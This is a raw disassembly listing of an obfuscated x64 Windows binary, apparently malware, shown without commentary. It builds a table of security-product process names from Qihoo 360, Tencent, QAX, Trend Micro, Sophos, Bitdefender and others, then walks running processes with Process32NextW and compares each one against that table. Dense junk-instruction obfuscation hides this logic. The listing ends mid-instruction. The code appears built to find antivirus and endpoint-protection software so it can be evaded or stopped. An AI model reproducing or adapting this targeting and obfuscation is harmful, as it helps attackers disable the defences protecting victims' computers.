add r8d, 0x86bf00c7
xor r8d, 0x894f7890
rol r8d, 0x96
popf
pushf
not r8d
add r8d, 0xe4495ebc
xor r8d, 0x98b19b7e
rol r8d, 0xa3
popf
pushf
not r8d
add r8d, 0xa067340f
xor r8d, 0xff084140
rol r8d, 0xf7
popf
movaps xmmword [rbp + 0x3730], xmm0
movsd qword [rbp + 0x3740], xmm1
mov dword [rbp + 0x3748], eax
call fcn.140549f90
movups xmm0, xmmword [str.HipsTray.exe]
lea rcx, [rbp + 0x395a]
movzx eax, word [0x14056c128]
movsd xmm1, qword [0x14056c120]
xor edx, edx
mov r8d, 0x2a8cdb45
pushf
not r8d
add r8d, 0xfe25c1bd
xor r8d, 0xa409ec68
rol r8d, 0xb
popf
pushf
not r8d
add r8d, 0xcc140393
xor r8d, 0x9a731361
rol r8d, 0x9a
popf
pushf
not r8d
add r8d, 0xbf49735e
xor r8d, 0xe31916c2
rol r8d, 0x6e
popf
pushf
not r8d
add r8d, 0xa79761d2
xor r8d, 0xce25129c
rol r8d, 0x25
popf
movaps xmmword [rbp + 0x3940], xmm0
movsd qword [rbp + 0x3950], xmm1
mov word [rbp + 0x3958], ax
call fcn.140549f90
mov eax, dword [0x14056c148]
lea rcx, [rbp + 0x122e]
movups xmm0, xmmword [str.HipsDaemon.exe]
xor edx, edx
mov dword [rbp + 0x1228], eax
movsd xmm1, qword [0x14056c140]
mov r8d, 0x8a12e870
pushf
not r8d
add r8d, 0xc6195cc8
xor r8d, 0xf85dcad8
rol r8d, 0x29
popf
pushf
not r8d
add r8d, 0xa692804f
xor r8d, 0xef1595c6
rol r8d, 0xb9
popf
movzx eax, word [0x14056c14c]
movaps xmmword [rbp + 0x1210], xmm0
mov word [rbp + 0x122c], ax
movsd qword [rbp + 0x1220], xmm1
call fcn.140549f90
movups xmm0, xmmword [str.HipsMain.exe]
lea rcx, [rbp + 0x3b6a]
movzx eax, word [0x14056c168]
movsd xmm1, qword [0x14056c160]
xor edx, edx
mov r8d, 0xd5354bea
pushf
not r8d
add r8d, 0xbe5ca7cd
xor r8d, 0xb65871bf
rol r8d, 0x47
popf
pushf
not r8d
add r8d, 0xc27921b4
xor r8d, 0xf7f011f6
rol r8d, 0x3b
popf
pushf
not r8d
add r8d, 0xf7a9d49c
xor r8d, 0xbec917f7
rol r8d, 0x41
popf
pushf
not r8d
add r8d, 0x8cf084f1
xor r8d, 0xcf67f809
rol r8d, 0xd6
popf
movaps xmmword [rbp + 0x3b50], xmm0
movsd qword [rbp + 0x3b60], xmm1
mov word [rbp + 0x3b68], ax
call fcn.140549f90
movups xmm0, xmmword [str.DlpAppData.exe]
mov eax, dword [0x14056c188]
movsd xmm1, qword [0x14056c180]
movaps xmmword [rbp + 0x1420], xmm0
movsd qword [rbp + 0x1430], xmm1
mov dword [rbp + 0x1438], eax
movzx eax, word [0x14056c18c]
lea rcx, [rbp + 0x143e]
xor edx, edx
mov word [rbp + 0x143c], ax
mov r8d, 0x39ab27cf
pushf
not r8d
add r8d, 0xd5254739
xor r8d, 0xc37ab36b
rol r8d, 0xb2
popf
pushf
not r8d
add r8d, 0xe4824564
xor r8d, 0xb6fc6362
rol r8d, 0x1e
popf
pushf
not r8d
add r8d, 0xe3a96ba3
xor r8d, 0xe1358815
rol r8d, 0x49
popf
pushf
not r8d
add r8d, 0xb42b02a4
xor r8d, 0xcda692df
rol r8d, 0x49
popf
call fcn.140549f90
movups xmm0, xmmword [str.TQClient.exe]
lea rcx, [rbp + 0x3d7a]
movzx eax, word [0x14056c1a8]
movsd xmm1, qword [0x14056c1a0]
xor edx, edx
mov r8d, 0xdcba6669
pushf
not r8d
add r8d, 0x89c11733
xor r8d, 0x9ceed85f
rol r8d, 0x8c
popf
pushf
not r8d
add r8d, 0xbff5950d
xor r8d, 0xf9c689fd
rol r8d, 0xe0
popf
pushf
not r8d
add r8d, 0xff565fd0
xor r8d, 0xdc787cb3
rol r8d, 0xc1
popf
pushf
not r8d
add r8d, 0xe4457b00
xor r8d, 0xde9dc4dd
rol r8d, 0x63
popf
movaps xmmword [rbp + 0x3d60], xmm0
movsd qword [rbp + 0x3d70], xmm1
mov word [rbp + 0x3d78], ax
call fcn.140549f90
mov eax, dword [0x14056c1c8]
lea rcx, [rbp + 0x164e]
movups xmm0, xmmword [str.TQDefender.exe]
xor edx, edx
mov dword [rbp + 0x1648], eax
movsd xmm1, qword [0x14056c1c0]
mov r8d, 0x449d86f7
pushf
not r8d
add r8d, 0xba756f52
xor r8d, 0xa12ccca0
rol r8d, 0x98
popf
pushf
not r8d
add r8d, 0xceb611c1
xor r8d, 0xf2f09e85
rol r8d, 0xd6
popf
pushf
not r8d
add r8d, 0x8ce45975
xor r8d, 0xfe3ab51f
rol r8d, 0xa2
popf
pushf
not r8d
add r8d, 0xdba3d895
xor r8d, 0xf659585f
rol r8d, 0xd
popf
movzx eax, word [0x14056c1cc]
movaps xmmword [rbp + 0x1630], xmm0
mov word [rbp + 0x164c], ax
movsd qword [rbp + 0x1640], xmm1
call fcn.140549f90
mov eax, dword [0x14056c1e0]
lea rcx, [rbp + 0x3f86]
movups xmm0, xmmword [str.TQTray.exe]
mov dword [rbp + 0x3f80], eax
xor edx, edx
movzx eax, word [0x14056c1e4]
mov r8d, 0xdad3c5dd
pushf
not r8d
add r8d, 0xd2384cd9
xor r8d, 0xcded1fb6
rol r8d, 0xf0
popf
pushf
not r8d
add r8d, 0xdcbaac7b
xor r8d, 0xc4f368c9
rol r8d, 0x21
popf
pushf
not r8d
add r8d, 0xb4a07cf8
xor r8d, 0xba444a86
rol r8d, 0x6c
popf
movaps xmmword [rbp + 0x3f70], xmm0
mov word [rbp + 0x3f84], ax
call fcn.140549f90
movups xmm0, xmmword [str.QaxEngManager.exe]
mov eax, dword [0x14056c208]
xor edx, edx
movups xmm1, xmmword [0x14056c1f8]
mov r8d, 0x2e141233
pushf
not r8d
add r8d, 0xffb07b09
xor r8d, 0x87dd57d3
rol r8d, 0xf3
popf
pushf
not r8d
add r8d, 0xcaeb2727
xor r8d, 0xb555c1ef
rol r8d, 0x81
popf
pushf
not r8d
add r8d, 0xa46db68f
xor r8d, 0xd492702a
rol r8d, 0x5b
popf
lea rcx, [rbp + 0x41a4]
movaps xmmword [rbp + 0x4180], xmm0
movaps xmmword [rbp + 0x4190], xmm1
mov dword [rbp + 0x41a0], eax
call fcn.140549f90
movups xmm0, xmmword [str.trantorAgent.exe]
movzx eax, word [0x14056c230]
xor edx, edx
movups xmm1, xmmword [0x14056c220]
mov r8d, 0x9565456
pushf
not r8d
add r8d, 0x916c30fe
xor r8d, 0xa22bf616
rol r8d, 0xc8
popf
pushf
not r8d
add r8d, 0x8b0426db
xor r8d, 0xb0e9071a
rol r8d, 0x13
popf
pushf
not r8d
add r8d, 0x836e9930
xor r8d, 0xeee5b7ac
rol r8d, 0x71
popf
lea rcx, [rbp + 0x43b2]
movaps xmmword [rbp + 0x4390], xmm0
movaps xmmword [rbp + 0x43a0], xmm1
mov word [rbp + 0x43b0], ax
call fcn.140549f90
movups xmm0, xmmword [str.TMBMSRV.exe]
lea rcx, [rbp + 0x6ad8]
xor edx, edx
movsd xmm1, qword [0x14056c248]
mov r8d, 0x9d877fd8
pushf
not r8d
add r8d, 0xa89bc001
xor r8d, 0xfe5517ff
rol r8d, 0xb3
popf
pushf
not r8d
add r8d, 0xfb432954
xor r8d, 0xfc837f4e
rol r8d, 0x66
popf
movaps xmmword [rbp + 0x6ac0], xmm0
movsd qword [rbp + 0x6ad0], xmm1
call fcn.140549f90
mov eax, dword [0x14056c260]
lea rcx, [rbp + 0x45b6]
movups xmm0, xmmword [str.TmCCSF.exe]
mov dword [rbp + 0x45b0], eax
xor edx, edx
movzx eax, word [0x14056c264]
mov r8d, 0xa52c37d1
pushf
not r8d
add r8d, 0xccd87426
xor r8d, 0xf625dad0
rol r8d, 0xb5
popf
pushf
not r8d
add r8d, 0xf7a71a04
xor r8d, 0xef0ce8c0
rol r8d, 0x46
popf
movaps xmmword [rbp + 0x45a0], xmm0
mov word [rbp + 0x45b4], ax
call fcn.140549f90
movups xmm0, xmmword [str.CNTAoSMgr.exe]
mov eax, dword [0x14056c280]
movsd xmm1, qword [0x14056c278]
movaps xmmword [rbp + 0x47b0], xmm0
movsd qword [rbp + 0x47c0], xmm1
xor edx, edx
mov dword [rbp + 0x47c8], eax
mov r8d, 0x19d3da69
pushf
not r8d
add r8d, 0xc203cd18
xor r8d, 0x9c8c0082
rol r8d, 7
popf
pushf
not r8d
add r8d, 0xec9e26a0
xor r8d, 0x9833daaa
rol r8d, 0xe1
popf
pushf
not r8d
add r8d, 0x9bbf26db
xor r8d, 0x96918cbc
rol r8d, 0x9c
popf
lea rcx, [rbp + 0x47cc]
call fcn.140549f90
movups xmm0, xmmword [str.NTRTScan.exe]
lea rcx, [rbp + 0x49da]
movzx eax, word [0x14056c2a0]
movsd xmm1, qword [0x14056c298]
xor edx, edx
mov r8d, 0x3f1b6306
pushf
not r8d
add r8d, 0xcd3b9658
xor r8d, 0x8200679a
rol r8d, 0x98
popf
pushf
not r8d
add r8d, 0xb3a972da
xor r8d, 0xa5043e51
rol r8d, 0xa6
popf
pushf
not r8d
add r8d, 0x928d55fd
xor r8d, 0x80459004
rol r8d, 0x99
popf
pushf
not r8d
add r8d, 0xaa02c792
xor r8d, 0xcd75d830
rol r8d, 0x4f
popf
movaps xmmword [rbp + 0x49c0], xmm0
movsd qword [rbp + 0x49d0], xmm1
mov word [rbp + 0x49d8], ax
call fcn.140549f90
movups xmm0, xmmword [str.PccNTMon.exe]
lea rcx, [rbp + 0x4bea]
movzx eax, word [0x14056c2c0]
movsd xmm1, qword [0x14056c2b8]
xor edx, edx
mov r8d, 0xf23a0365
pushf
not r8d
add r8d, 0x93d0b0e2
xor r8d, 0xe1990f07
rol r8d, 0xb7
popf
pushf
not r8d
add r8d, 0xd8a5ef93
xor r8d, 0x9b05e41d
rol r8d, 0xff
popf
movaps xmmword [rbp + 0x4bd0], xmm0
movsd qword [rbp + 0x4be0], xmm1
mov word [rbp + 0x4be8], ax
call fcn.140549f90
movups xmm0, xmmword [str.TmListen.exe]
lea rcx, [rbp + 0x4dfa]
movzx eax, word [0x14056c2e0]
movsd xmm1, qword [0x14056c2d8]
xor edx, edx
mov r8d, 0x66d1163a
pushf
not r8d
add r8d, 0xe2bc3eab
xor r8d, 0xa44d54f5
rol r8d, 0x1c
popf
pushf
not r8d
add r8d, 0x981413ad
xor r8d, 0x89cd8d17
rol r8d, 0xec
popf
pushf
not r8d
add r8d, 0xe9f1ec87
xor r8d, 0xd85bb2c7
rol r8d, 0xe2
popf
pushf
not r8d
add r8d, 0xa886b369
xor r8d, 0xb7c2a52f
rol r8d, 0xec
popf
movaps xmmword [rbp + 0x4de0], xmm0
movsd qword [rbp + 0x4df0], xmm1
mov word [rbp + 0x4df8], ax
call fcn.140549f90
movups xmm0, xmmword [str.SophosFIMService.exe]
movzx eax, word [0x14056c310]
xor edx, edx
movups xmm1, xmmword [0x14056c2f8]
lea rcx, [rbp + 0x186a]
mov r8d, 0x3224a0ac
pushf
not r8d
add r8d, 0xb0a3295d
xor r8d, 0xe92be0e9
rol r8d, 0x1b
popf
pushf
not r8d
add r8d, 0xda0d9d6f
xor r8d, 0xfc1b388f
rol r8d, 0x8f
popf
pushf
not r8d
add r8d, 0x9b0d0173
xor r8d, 0xcdbb08c9
rol r8d, 0x66
popf
movaps xmmword [rbp + 0x1840], xmm0
movsd xmm0, qword [0x14056c308]
movsd qword [rbp + 0x1860], xmm0
movaps xmmword [rbp + 0x1850], xmm1
mov word [rbp + 0x1868], ax
call fcn.140549f90
movups xmm0, xmmword [str.SophosLiveQueryService.exe]
mov eax, dword [0x14056c348]
lea rcx, [rbp + 0x1c6]
movups xmm1, xmmword [0x14056c328]
xor edx, edx
mov dword [rbp + 0x1c0], eax
movaps xmmword [rbp + 0x190], xmm0
mov r8d, 0x841cff28
pushf
not r8d
add r8d, 0xd849041c
xor r8d, 0x9c16ec5b
rol r8d, 0xff
popf
pushf
not r8d
add r8d, 0xa49a6545
xor r8d, 0xc07cf084
rol r8d, 0x22
popf
movups xmm0, xmmword [0x14056c338]
movzx eax, word [0x14056c34c]
movaps xmmword [rbp + 0x1a0], xmm1
movaps xmmword [rbp + 0x1b0], xmm0
mov word [rbp + 0x1c4], ax
call fcn.140549f90
movups xmm0, xmmword [str.SophosOsquery.exe]
mov eax, dword [0x14056c370]
xor edx, edx
movups xmm1, xmmword [0x14056c360]
mov r8d, 0xb99a1d88
pushf
not r8d
add r8d, 0x81b22748
xor r8d, 0x8169f49e
rol r8d, 0xe3
popf
pushf
not r8d
add r8d, 0x84d2df29
xor r8d, 0xcb35cbd2
rol r8d, 0x7e
popf
pushf
not r8d
add r8d, 0x9f322227
xor r8d, 0x87483b74
rol r8d, 0xd3
popf
pushf
not r8d
add r8d, 0xe1d223cc
xor r8d, 0xea92f4e8
rol r8d, 0xa
popf
lea rcx, [rbp + 0x5c74]
movaps xmmword [rbp + 0x5c50], xmm0
movaps xmmword [rbp + 0x5c60], xmm1
mov dword [rbp + 0x5c70], eax
call fcn.140549f90
movups xmm0, xmmword [str.SophosScanCoordinator.exe]
mov eax, dword [0x14056c3a8]
xor edx, edx
movups xmm1, xmmword [0x14056c388]
mov r8d, 0x63f195c3
pushf
not r8d
add r8d, 0xb46a84a6
xor r8d, 0xfc8fe48d
rol r8d, 0xc4
popf
pushf
not r8d
add r8d, 0xb75be6f0
xor r8d, 0xa4a80a40
rol r8d, 0xb2
popf
pushf
not r8d
add r8d, 0xff6af25c
xor r8d, 0xc7ec154c
rol r8d, 0xfa
popf
pushf
not r8d
add r8d, 0xf97c7c47
xor r8d, 0xe9be89c6
rol r8d, 0x9c
popf
mov dword [rbp + 0x1a80], eax
movaps xmmword [rbp + 0x1a50], xmm0
movups xmm0, xmmword [0x14056c398]
movaps xmmword [rbp + 0x1a60], xmm1
movaps xmmword [rbp + 0x1a70], xmm0
lea rcx, [rbp + 0x1a84]
call fcn.140549f90
movups xmm0, xmmword [str.bdredline.exe]
lea rcx, [rbp + 0x542c]
mov eax, dword [0x14056c3c8]
movsd xmm1, qword [0x14056c3c0]
xor edx, edx
mov r8d, 0xce63b9d1
pushf
not r8d
add r8d, 0xe82d1740
xor r8d, 0xdd5ee58b
rol r8d, 0x30
popf
pushf
not r8d
add r8d, 0xe28179e8
xor r8d, 0xe99bb54e
rol r8d, 0x24
popf
movaps xmmword [rbp + 0x5410], xmm0
movsd qword [rbp + 0x5420], xmm1
mov dword [rbp + 0x5428], eax
call fcn.140549f90
movups xmm0, xmmword [str.EPUpdateService.exe]
xor edx, edx
mov r8d, 0x62be22b4
pushf
not r8d
add r8d, 0xebf12af7
xor r8d, 0xd8eac138
rol r8d, 0x2f
popf
pushf
not r8d
add r8d, 0xc83c572d
xor r8d, 0xf9594be5
rol r8d, 0x4a
popf
pushf
not r8d
add r8d, 0xb38e6143
xor r8d, 0xe834478a
rol r8d, 0xa4
popf
pushf
not r8d
add r8d, 0xe1fb24ab
xor r8d, 0xbdc26f9b
rol r8d, 0xea
popf
movups xmm1, xmmword [0x14056c3e0]
lea rcx, [rbp + 0x5648]
movaps xmmword [rbp + 0x5620], xmm0
movsd xmm0, qword [0x14056c3f0]
movsd qword [rbp + 0x5640], xmm0
movaps xmmword [rbp + 0x5630], xmm1
call fcn.140549f90
movups xmm0, xmmword [str.EPIntegrationService.exe]
movzx eax, word [0x14056c428]
xor edx, edx
movups xmm1, xmmword [0x14056c408]
lea rcx, [rbp + 0x1c92]
mov r8d, 0x4751525d
pushf
not r8d
add r8d, 0xbeaca019
xor r8d, 0xa6efec49
rol r8d, 0xa8
popf
pushf
not r8d
add r8d, 0xe09a8691
xor r8d, 0xf3e8233d
rol r8d, 0x53
popf
pushf
not r8d
add r8d, 0xd7db2f2e
xor r8d, 0x93c46e92
rol r8d, 0x83
popf
movaps xmmword [rbp + 0x1c60], xmm0
movups xmm0, xmmword [0x14056c418]
mov word [rbp + 0x1c90], ax
movaps xmmword [rbp + 0x1c70], xmm1
movaps xmmword [rbp + 0x1c80], xmm0
call fcn.140549f90
movups xmm0, xmmword [str.EPSecurityService.exe]
mov eax, dword [0x14056c458]
xor edx, edx
movups xmm1, xmmword [0x14056c440]
lea rcx, [rbp + 0x1e9c]
mov r8d, 0xf1c4d053
pushf
not r8d
add r8d, 0x91a0ff55
xor r8d, 0x8589210c
rol r8d, 0xb7
popf
pushf
not r8d
add r8d, 0x8a77e9a5
xor r8d, 0x8a47a6bb
rol r8d, 0xa4
popf
pushf
not r8d
add r8d, 0x8a226d42
xor r8d, 0xc6279007
rol r8d, 0xc
popf
pushf
not r8d
add r8d, 0xee013ca5
xor r8d, 0x99d2da03
rol r8d, 0x25
popf
movaps xmmword [rbp + 0x1e70], xmm0
movsd xmm0, qword [0x14056c450]
movsd qword [rbp + 0x1e90], xmm0
movaps xmmword [rbp + 0x1e80], xmm1
mov dword [rbp + 0x1e98], eax
call fcn.140549f90
mov eax, dword [0x14056c470]
lea rcx, [rbp + 0x5846]
movups xmm0, xmmword [str.EPHost.exe]
mov dword [rbp + 0x5840], eax
xor edx, edx
movzx eax, word [0x14056c474]
mov r8d, 0x8404ae35
pushf
not r8d
add r8d, 0x9e1850c7
xor r8d, 0xa53d0adf
rol r8d, 0x1e
popf
pushf
not r8d
add r8d, 0x94069e24
xor r8d, 0xda7af410
rol r8d, 0x6b
popf
movaps xmmword [rbp + 0x5830], xmm0
mov word [rbp + 0x5844], ax
call fcn.140549f90
movups xmm0, xmmword [str.EPConsole.exe]
lea rcx, [rbp + 0x5a5c]
mov eax, dword [0x14056c490]
movsd xmm1, qword [0x14056c488]
xor edx, edx
mov r8d, 0x613628b4
pushf
not r8d
add r8d, 0xda172e5d
xor r8d, 0xa4743e0f
rol r8d, 0xbf
popf
pushf
not r8d
add r8d, 0xeda872e5
xor r8d, 0xd761e7b5
rol r8d, 0xb9
popf
pushf
not r8d
add r8d, 0x8223c5aa
xor r8d, 0xd5d34d45
rol r8d, 0xe8
popf
movaps xmmword [rbp + 0x5a40], xmm0
movsd qword [rbp + 0x5a50], xmm1
mov dword [rbp + 0x5a58], eax
call fcn.140549f90
lea rdx, [rsp + 0x50]
mov rcx, rsi
jmp 0x140b129d9
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140b12a2d
push rax
pushf
mov eax, 0x658e1e56
pushf
not eax
add eax, 0xf5746607
xor eax, 0xf4e17262
rol eax, 0x69
popf
pushf
not eax
add eax, 0xc1fe0f73
xor eax, 0xe2265ffa
rol eax, 0xf
popf
pushf
not eax
add eax, 0xf6b29c51
xor eax, 0xdbef737e
rol eax, 0x3d
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xbac9cd45
pushf
not eax
add eax, 0x9d347c1a
xor eax, 0xdb6656af
rol eax, 0x98
popf
pushf
not eax
add eax, 0x882cc806
xor eax, 0xfedf9c14
rol eax, 0x50
popf
pushf
not eax
add eax, 0xd6c13c86
xor eax, 0xafa75179
rol eax, 0x9b
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0x968272d9
pushf
not eax
add eax, 0xc3ebf9ba
xor eax, 0xbbac25e3
rol eax, 6
popf
pushf
not eax
add eax, 0xaa8235d0
xor eax, 0xe861471c
rol eax, 0x85
popf
pushf
not eax
add eax, 0xfbfb5080
xor eax, 0x8ea6cc02
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xa3896b79
xor eax, 0x94b1ca4f
rol eax, 0xd
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x4ff0], ax
jne 0x140b12b6c
push rax
pushf
mov eax, 0x349ab1b0
pushf
not eax
add eax, 0xc3624390
xor eax, 0x9d60382e
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xa3c44a04
xor eax, 0xcecbc0b0
rol eax, 0x7b
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0xc584d0a1
pushf
not eax
add eax, 0xd18d03a2
xor eax, 0xf8bd988b
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xe91a74ac
xor eax, 0xb10f753b
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xc6ef59d0
xor eax, 0xed0d70af
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd2dc0ecf
xor eax, 0xe42d67ce
rol eax, 0x55
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x3a0], ax
jne 0x140b12d40
push rax
pushf
mov eax, 0xa9ce851c
pushf
not eax
add eax, 0xeaf96a4f
xor eax, 0xe4d3cd23
rol eax, 0x23
popf
pushf
not eax
add eax, 0xe624e335
xor eax, 0xe3f26caa
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xb4664f68
xor eax, 0xdf3f48bd
rol eax, 0x8d
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x33a51afd
pushf
not eax
add eax, 0xb9728d28
xor eax, 0xe351e062
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xd5ee60e2
xor eax, 0x92197c4f
rol eax, 0x6c
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b12db3
push rax
pushf
mov eax, 0xda230527
pushf
not eax
add eax, 0x8511a7d0
xor eax, 0xc233e99c
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xdcb6426c
xor eax, 0xe3e487d5
rol eax, 0x44
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x172b4605
pushf
not eax
add eax, 0xf9883bac
xor eax, 0xdc443571
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x8f7b09dd
xor eax, 0xc9a3cbc4
rol eax, 0xe8
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x2080], ax
jne 0x140b12eee
push rax
pushf
mov eax, 0xa3ac0cac
pushf
not eax
add eax, 0xf207fe81
xor eax, 0xeba15efb
rol eax, 0x49
popf
pushf
not eax
add eax, 0xa3374bc5
xor eax, 0xa3a11b8a
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xca4ce3ec
xor eax, 0xaf58b1a9
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xea7b774d
xor eax, 0xd4a5e052
rol eax, 0x82
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x7253cae8
pushf
not eax
add eax, 0xa701f66b
xor eax, 0xb19ddd13
rol eax, 0x89
popf
pushf
not eax
add eax, 0xa625c1c1
xor eax, 0xbb84e18b
rol eax, 0x73
popf
pushf
not eax
add eax, 0xdac680cb
xor eax, 0xe03a52e7
rol eax, 0xec
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x71b35d9f
pushf
not eax
add eax, 0xa2e220f5
xor eax, 0xa2aca2a7
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xe3f185e0
xor eax, 0xf98f934c
rol eax, 0xa5
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x5b0], ax
jne 0x140b13224
push rax
pushf
mov eax, 0x9169fde3
pushf
not eax
add eax, 0xdd5e0945
xor eax, 0x9286933b
rol eax, 0xed
popf
pushf
not eax
add eax, 0xda7ca43c
xor eax, 0x87714907
rol eax, 0x61
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x7290e5d6
pushf
not eax
add eax, 0xd6b25eb9
xor eax, 0xbccdf733
rol eax, 0x17
popf
pushf
not eax
add eax, 0xdef60beb
xor eax, 0x939d62a7
rol eax, 0x14
popf
pushf
not eax
add eax, 0xcd83d976
xor eax, 0xc81efa51
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xec04e8d0
xor eax, 0xde8a713a
rol eax, 0xc8
popf
jmp 0x140b0ffd5
jmp 0x140b18947
add rcx, 2
cmp rcx, 0x208
jl 0x140b133e3
push rax
pushf
mov eax, 0x5d536f6d
pushf
not eax
add eax, 0xed673ba3
xor eax, 0xe3665fda
rol eax, 0xc
popf
pushf
not eax
add eax, 0xe2713064
xor eax, 0x84769223
rol eax, 0x28
popf
pushf
not eax
add eax, 0x8f156479
xor eax, 0xcc2d1130
rol eax, 0x28
popf
pushf
not eax
add eax, 0x9c84cd6d
xor eax, 0xd54071ea
rol eax, 0x81
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x4e261b04
pushf
not eax
add eax, 0xbaa71da9
xor eax, 0x9a63c5f2
rol eax, 0x36
popf
pushf
not eax
add eax, 0xd0af6109
xor eax, 0x8d49faea
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xa8dbdf97
xor eax, 0x8fac2d8f
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x87d417b1
xor eax, 0xd5f8a35a
rol eax, 0x38
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x2e9c9dcb
pushf
not eax
add eax, 0xc8324fc1
xor eax, 0xcbb844b5
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xd69aff6e
xor eax, 0x8adca768
rol eax, 0x87
popf
pushf
not eax
add eax, 0xa0baab20
xor eax, 0xd2dffa9b
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xa5078da3
xor eax, 0xebd1d912
rol eax, 0x39
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b135b7
push rax
pushf
mov eax, 0xffd6f068
pushf
not eax
add eax, 0xd81ac827
xor eax, 0xc84c3b0a
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xadf997ac
xor eax, 0xb7d9be43
rol eax, 0x47
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x99efd870
pushf
not eax
add eax, 0xa8940a44
xor eax, 0xedc8b4c7
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x99006005
xor eax, 0x81fae3e3
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xcc53c383
xor eax, 0x8e7ae6df
rol eax, 0xb4
popf
jmp 0x140b0ffd5
jmp 0x140b18947
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x7e139ca4
pushf
not eax
add eax, 0xa09cfc40
xor eax, 0xbfde7021
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xa845b475
xor eax, 0xe95b2018
rol eax, 0xf8
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x6070], ax
jne 0x140b136df
push rax
pushf
mov eax, 0x5b325658
pushf
not eax
add eax, 0x9708a94b
xor eax, 0xcd2f6d3b
rol eax, 0x25
popf
pushf
not eax
add eax, 0xcf3e9c81
xor eax, 0xf016a142
rol eax, 0x7c
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x335b4b5f
pushf
not eax
add eax, 0xd2a14958
xor eax, 0x92abaab9
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xf7ca40a8
xor eax, 0x9dfc87b1
rol eax, 0x43
popf
pushf
not eax
add eax, 0xf47edccb
xor eax, 0xbf4be078
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc86e148f
xor eax, 0x96e11a3e
rol eax, 0x65
popf
jmp 0x140b0ffd5
jmp 0x140b18947
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x6280], ax
jne 0x140b138ec
push rax
pushf
mov eax, 0xc604ea47
pushf
not eax
add eax, 0xe44f18aa
xor eax, 0xac05d358
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x8b6a092d
xor eax, 0xb4f34047
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xde71dff1
xor eax, 0xee349d1a
rol eax, 0x63
popf
pushf
not eax
add eax, 0xe83d0af5
xor eax, 0xdcafadff
rol eax, 0x4b
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x3267e3a5
pushf
not eax
add eax, 0xde562594
xor eax, 0xe7d50a69
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xfbe19d4c
xor eax, 0xa8ffb0ca
rol eax, 0x98
popf
pushf
not eax
add eax, 0xce00cd5c
xor eax, 0xbc462740
rol eax, 0x5e
popf
jmp 0x140b0ffd5
add rcx, 2
cmp rcx, 0x208
jl 0x140b13985
push rax
pushf
mov eax, 0x6deac2b3
pushf
not eax
add eax, 0xf95e8ad9
xor eax, 0xc538e22b
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x8a65ec51
xor eax, 0x87ac5599
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xd68427a0
xor eax, 0xbe92811e
rol eax, 0x40
popf
jmp 0x140b0ffd5
push rax
pushf
mov eax, 0x41e56d09
pushf
not eax
add eax, 0xe03437a3
xor eax, 0xde318827
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xfaa06bef
xor eax, 0x99414ba7
rol eax, 0x82
popf
jmp 0x140b0ffd5
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xad989d44
pushf
not eax
add eax, 0xec2c889f
xor eax, 0xbfd73b87
rol eax, 0x64
popf
pushf
not eax
add eax, 0xf99de0f5
xor eax, 0xcc166925
rol eax, 0x81
popf
pushf
not eax
add eax, 0x91352344
xor eax, 0xa2a7aed1
rol eax, 6
popf
jmp 0x140b0ffd5
movzx eax, word [rsp + rcx + 0x7c]
cmp word [rbp + rcx + 0x6490], ax
jne 0x140b13aad
push rax
pushf
mov eax, 0xf653c398
pushf
not eax
